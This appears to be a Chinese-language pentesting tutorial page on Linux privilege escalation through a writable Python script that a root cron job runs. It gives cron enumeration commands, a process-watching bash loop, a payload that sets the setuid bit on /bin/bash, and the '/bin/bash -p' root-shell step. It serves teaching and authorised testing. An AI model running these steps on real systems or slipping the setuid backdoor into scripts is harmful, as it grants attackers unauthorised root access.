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# 被修改的 Python 脚本 Cron 任务 - Linux 权限提升
## 这是什么
当周期性 root 任务执行可写脚本、不安全的相对路径或存在漏洞的处理器时，Cron 任务会创建权限提升路径。关键在于证明一个低权限用户控制着某个特权计划任务将要执行的内容。本页具体聚焦于 **Cron 任务 - 修改脚本（Python）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## 示例
我们创建一个 Bash 脚本来分析当前进程并检测目标机器上正在运行的 cron 任务：
```bash
#!/bin/bash
old_process=$(ps -eo user,command)
while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
old_process=$new_process
done
```
当运行这个脚本时，我们注意到 **root** 用户正在运行一个位于 `/opt/tmp.py` 目录。
我们有机会修改这个 Python 脚本。
我们修改它，添加命令来设置一个 **setuid** 位于二进制文件 `/bin/bash`上的位，这将允许我们以 **root** 权限运行一个 Bash shell：
```python
#!/usr/bin/env python
import os
import sys
try:
os.system('chmod u+s /bin/bash')
except:
sys.exit()
```
编辑完脚本后，我们等待大约一分钟让 cron 任务运行。
一旦 cron 任务执行完毕，我们就可以通过运行以下命令获得一个具有 **root** 权限的 Bash shell：
```bash
/bin/bash -p
```
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